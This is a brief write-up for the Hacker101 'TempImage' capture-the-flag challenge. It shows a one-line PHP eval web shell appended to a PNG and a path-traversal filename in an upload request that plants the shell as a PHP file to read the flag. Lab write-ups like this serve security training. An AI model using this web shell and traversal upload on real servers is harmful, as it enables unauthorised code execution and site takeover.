hacker101-ctf

Hacker101 CTF Writeup

View on GitHub

TempImage - FLAG1

0x00 Index

0x01 Generate Image Shell

Run bat file gen_imgshell.bat.

copy img.png/b + webshell.php shell.png

Get shell.png which has the injected code.

<?php @eval($_POST['hacker1'])?>

0x02 Upload the Image Shell

Catch the request and change the file name.

Content-Disposition: form-data; name="filename"

/../../shell.php

Shell upload successfully.

0x03 Connect Server

0x04 FLAG

Flag can be found in index.php